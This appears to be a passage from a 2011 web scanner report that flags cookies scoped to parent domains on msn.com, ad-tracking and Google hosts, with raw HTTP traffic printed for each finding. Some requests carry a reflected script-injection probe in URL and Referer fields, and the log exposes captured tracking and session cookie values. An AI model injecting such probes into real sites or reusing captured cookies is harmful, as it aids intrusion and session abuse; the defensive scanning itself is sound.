HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 346 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Wed, 02 Feb 2011 15:14:45 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Fri, 04 Mar 2011 15:14:45 GMT; Path=/ Set-Cookie: di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296659685.60|1296659685.66; Domain=.addthis.com; Expires=Fri, 01-Feb-2013 00:28:04 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Wed, 02 Feb 2011 15:14:45 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 15:14:45 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /quant.js HTTP/1.1 Host: edge.quantserve.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close ETag: "18278:E0-227342138-1296570729091" Vary: Accept-Encoding Last-Modified: Tue, 01-Feb-2011 14:32:09 GMT Content-Type: application/x-javascript Set-Cookie: mc=4d481969-16684-f7cfe-c8df4; expires=Tue, 01-Feb-2021 14:32:09 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Cache-Control: private, no-transform, must-revalidate, max-age=86400 Expires: Wed, 02 Feb 2011 14:32:09 GMT Content-Length: 5265 Date: Tue, 01 Feb 2011 14:32:09 GMT Server: QS
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /articles/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=b9bfa5195ac242b6b3c0e65032e98705; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=4121B0CBC49B4A6EBD8938C8585174FE; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 38991
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /blogs/autosblog.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA51 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=359d35043ed54139853a37a4e289217d; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=E8F56045ECCA4D669B1521C01014A312; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 53586
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA52 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=4f2f19d5d3e64638a39ef8c9a0e56298; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=9A2C4E32A10C4DF3AE112D8B596AEC73; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 37365
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /media/video/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA49 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=0dd7202db890418c95a7232d432d9a03; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=1CF9F665B11C4AE9AF3A7B83F378BDD3; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 18460
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.fac ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /new-cars/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA52 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=775a706ba27249818384c9ddc6f0be26; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=452825B919744E0CBD3D811A7E5DDB62; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 38354
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /used-cars/default.aspx HTTP/1.1 Host: editorial.autos.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:32:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA54 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a42dce0f38a347f48d33b0d543fa5631; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=718D92C75E2A4AC1AED19F22E9A0BF40; domain=.autos.msn.com; expires=Sat, 20-Aug-2011 15:32:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 34201
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 53147 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=b39c3a5d929f4c56b9f0ed54cc0437f4; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:32:30 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /news/ HTTP/1.1 Host: entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 62010 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=5ee08328c5854a91b8ceda54850cba49; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:32:37 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Just In Ne ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /video/ HTTP/1.1 Host: entertainment.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 26701 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=ab9a494b3ce24782ad4af7e40153d000; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:32:31 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /groups?q=millenium+boston&um=1&ie=UTF-8&sa=N&hl=en&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: health.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:34:44 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA24 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=7308e0c789104f31abdeb2e68a6d57ff; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=6F3EFCB2F9904D1D9B49CA53FAC866EF; domain=.msn.com; expires=Sat, 20-Aug-2011 15:34:44 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 37486
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:web="http:// ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /health-topics/quit-smoking/articlepage.aspx HTTP/1.1 Host: health.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:34:46 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA19 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=a0a61b8a17324a34bcefa62237ce7c6d; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=6FC2D6913483462A84559AE5C41E3ABF; domain=.msn.com; expires=Sat, 20-Aug-2011 15:34:46 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 35881
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
vid=3e136b53-42127475201; Path=/; Version=1; Domain=.clickaider.com; Expires=Thu, 02 Feb 2012 20:08:08 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clickaider.js HTTP/1.1 Host: hit.clickaider.com Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(1)%3C/script%3E6f696982a6d=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK P3P: policyref="/w3c/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA" Expires: Thu, 03 Feb 2011 20:08:08 GMT Cache-Control: private, max-age=86400 Set-Cookie: vid=3e136b53-42127475201; Path=/; Version=1; Domain=.clickaider.com; Expires=Thu, 02 Feb 2012 20:08:08 GMT Vary: Accept-Encoding Content-Type: application/x-javascript Date: Wed, 02 Feb 2011 20:08:08 GMT Server: lighttpd/1.4.18 Content-Length: 9501
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pv?lng=660&a1=468x60;383x35;AdSense;ca-pub-4537085524273794;2660416438;468x60_as;text_image;333333;FFFFFF;105cb6;4F7500;FFFFFF;&a2=300x250;269x710;AdSense;ca-pub-4537085524273794;3510583841;300x250_as;text_image;333333;FFFFFF;105cb6;4F7500;FFFFFF;&a3=728x90;2220x30;AdSense;ca-pub-4537085524273794;5128047824;728x90_as;text_image;333333;FFFFFF;105cb6;4F7500;FFFFFF;&&lnks=&t=2mdn.net%2Fx22%20-%20Domain%20Profile%20%7C%20BoardReader&c=9f671068-5&r=http%3A%2F%2Fburp%2Fshow%2F43&tz=-360&var1=domain%20profile&var3=general%20user&loc=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(1)%253C%2Fscript%253E6f696982a6d%3D1&rnd=1309 HTTP/1.1 Host: hit.clickaider.com Proxy-Connection: keep-alive Referer: http://boardreader.com/domain/2mdn.net/x22?ebef7%22%3E%3Cscript%3Ealert(1)%3C/script%3E6f696982a6d=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: vid=3e136b53-42127475201
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.1.6 P3P: policyref="/w3c/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA" Set-Cookie: clickdata=eNptys0KwjAQBOB3WSjoQdNsbNJsEQ%2Fig6TNFgv2hySiIr67rQe9eJv5ZhxJekaSOYFttZG5LjcFVI6KhQ1B5OiZJ6g6klUkJEjxU9BqbQxaNasi6P5z4BbmJC3BOaWJhKivYRLxPN7ETi1TQcBDCo%2FPLc9%2Fv9EFH9h5Dttm7IUfe9cNAns%2FbAdO4o544JpbkyFm6pSpY2xCN6U5uwuHtJLr2cQXdauttiU67fcSqtfrDS1OScw%3D; path=/; domain=.clickaider.com Set-Cookie: sid=d269a5c2-241228395777; path=/; domain=.clickaider.com Cache-Control: no-cache, private, proxy-revalidate, max-age=86400 Pragma: no-cache Content-Type: image/gif Content-Length: 43 Date: Wed, 02 Feb 2011 20:08:13 GMT Server: lighttpd/1.4.18
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /getuidu?http://segment-pixel.invitemedia.com/setuid?exchange_id=2&exchange_uid=$UID HTTP/1.1 Host: ib.adnxs.com Proxy-Connection: keep-alive Referer: http://pixel.invitemedia.com/data_sync?partner_id=219 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: icu=EAAYAA..; sess=1; uuid2=4760492999213801733; anj=Kfu=8fG5+^DYS3+0s]#%2L_'x%SEV/i#-^]=FzXN9?TZi)>y1-3qNzX$-sWMR*dKdv#mm-w:$FfP3d/2Gd7^ksuS1Gw*N7yL:JS<*!oa5rz0.w=eY[jlqv=q6NhB120tXCccNFiR8p(/932ONsZ/FhOpYF`Fe-_p@?zs0$+6rgOdt@[+(YpJ(L*s>[=[mJPaTkc-k0<kEMNyo8q_ge93--wY'5#NCxtE:-.Dd(-ObhJsPL<iP4eDccH?l%tga?e3Vf[_/O)Q?WwIBG(KrQk4K_[7s:8jt(^er57hn!1N+$lE.Y:1V+2g=/)8:@0FVIF^@8+X`/O([RWwG_o.dN%I3W<.coX>TP!(6vdn[(w^
Response
HTTP/1.1 302 Moved Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 15:17:18 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Tue, 03-May-2011 15:17:18 GMT; domain=.adnxs.com; HttpOnly Location: http://segment-pixel.invitemedia.com/setuid?exchange_id=2&exchange_uid=4760492999213801733 Date: Wed, 02 Feb 2011 15:17:18 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /px?member_id=174&seg_code=HOT,US,MA_H,BOSTON_MA,orbitz,NOSST&t=2 HTTP/1.1 Host: ib.adnxs.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/cacheable/ad.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: sess=1; icu=EAAYAA..; uuid2=4760492999213801733; anj=Kfu=8fG5EfDYS3+0s]#%2L_'x%SEV/i#-ET=FzXN9?TZi)>y1-3qNzX$-sWMR*dKdv#mm-w:$FfP3d/2Gd7^ksuS1Gw*N7yL:JS<*!oa5rz0.w=eY[jlqv=q6NhB120tXCccNFiR8p(/932ONsZ/FhOpYF`Fe-_p@?zs0$+6rgOdt@[+(YpJ(L*s>[=[mJPaTkc-k0<kEMNyo8q_ge93--wY'5#NCxtE:-.Dd(-ObhJsPL<iP4eDccH?l%tga?e3Vf[_/O)Q?WwIBG(KrQk4K_[7s:8jt(^er57hn!13/QcRI0aU8Y`dCC*j^2`kdi6<PokBhdMkdL
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Wed, 02-Feb-2011 15:24:16 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Mon, 02-May-2011 15:24:16 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Mon, 02-May-2011 15:24:16 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: anj=Kfu=8fG5+^DYS3+0s]#%2L_'x%SEV/i#-^]=FzXN9?TZi)>y1-3qNzX$-sWMR*dKdv#mm-w:$FfP3d/2Gd7^ksuS1Gw*N7yL:JS<*!oa5rz0.w=eY[jlqv=q6NhB120tXCccNFiR8p(/932ONsZ/FhOpYF`Fe-_p@?zs0$+6rgOdt@[+(YpJ(L*s>[=[mJPaTkc-k0<kEMNyo8q_ge93--wY'5#NCxtE:-.Dd(-ObhJsPL<iP4eDccH?l%tga?e3Vf[_/O)Q?WwIBG(KrQk4K_[7s:8jt(^er57hn!1N+$lE.Y:1V+2g=/)8:@0FVIF^@8+X`/O([RWwG_o.dN%I3W<.coX>TP!(6vdn[(w^; path=/; expires=Mon, 02-May-2011 15:24:16 GMT; domain=.adnxs.com; HttpOnly Content-Length: 43 Content-Type: image/gif Date: Tue, 01 Feb 2011 15:24:16 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /verify/EAAAAE_-e4uKsVJHxtz4cPOf7JM.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=dXxArotuJyDYQ1VQrpKm701uNT9DB3GX-tg4wIuY7Q=dcvOXnVctesqr6XP; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; SSDATA-DOMAIN=ikjREw(0:; TZ=360; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /verify/EAAAAFdw42YFAA5jJ6_W2uU2sso.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.typeOfSearch=keyword&hotel.locationKeywordInput.key=Boston%2C+MA%2C+United+States&hotel.locId=loc.pid%3A11231&hotel.locationAddressInput.addressInput.countryCode=US&hotel.locationAddressInput.addressInput.addressLine1=&hotel.locationAddressInput.addressInput.city=&hotel.locationAddressInput.addressInput.stateProvinceCode=&hotel.locationAddressInput.addressInput.postalCode=&hotel.hotelSearchDetails.checkinDate=02%2F01%2F11&hotel.hotelSearchDetails.checkoutDate=02%2F02%2F11&hotel.hotelSearchDetails.numberOfRooms=1&hotel.hotelSearchDetails.rooms%5B0%5D.numberOfAdults=2&hotel.hotelSearchDetails.rooms%5B1%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B2%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B3%5D.numberOfAdults=1&hotel.hotelRating=&hotel.hotelChain=&hotel.hotelName=&hotel.couponCode=&search=Search Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=dXxArotuJyDYQ1VQrpKm701uNT9DB3GX-tg4wIuY7Q=dcvOXnVctesqr6XP; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=43=pmnSJWiZwGth09kNohAMwJvIpkIdJSJlqyMqx-omPXiSQSzkkNSHqGwv9A9J-zJ5JWsywblLTMJRa23z5AiuJrUbUWrTlS9i8IOD2l1hjJpMR5EY4CTSxmfm-gxCfk12; SSDATA-DOMAIN=ikjREw(0:; TZ=360
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /verify/EAAAAGw6wehKYIfPfAuhig8lJow.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?q=static+2mdn+net&channel=linkdoctor Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=3vQhgRVNB3h3QLsaTkCSkHIiOnaN2Jby-UMzZZUUQg=avCM2zCK3xcw-GGm; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; SSDATA-DOMAIN=ikjREw(0:; TZ=360; NID=43=jYcJVEekPY61UDlxS8ZFDMCDrVXT-0pc6E2zpbKIsUemwOUvjAWjWWIv9EIlSP4j_vcfJf8hjaSfk6EmkvSSNP9VthNmi7HlRzfZoWSH10k7PN3eueZhbJrWsVPxbVNb; S=sorry=6N0zPerLQtaqcOPwyzNvWg; GDSESS=ID=3835842a4a693afb:EX=1296674886:S=ADSvE-emQw1lIo2YoqCOpGtBmC8AL8VPeQ
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
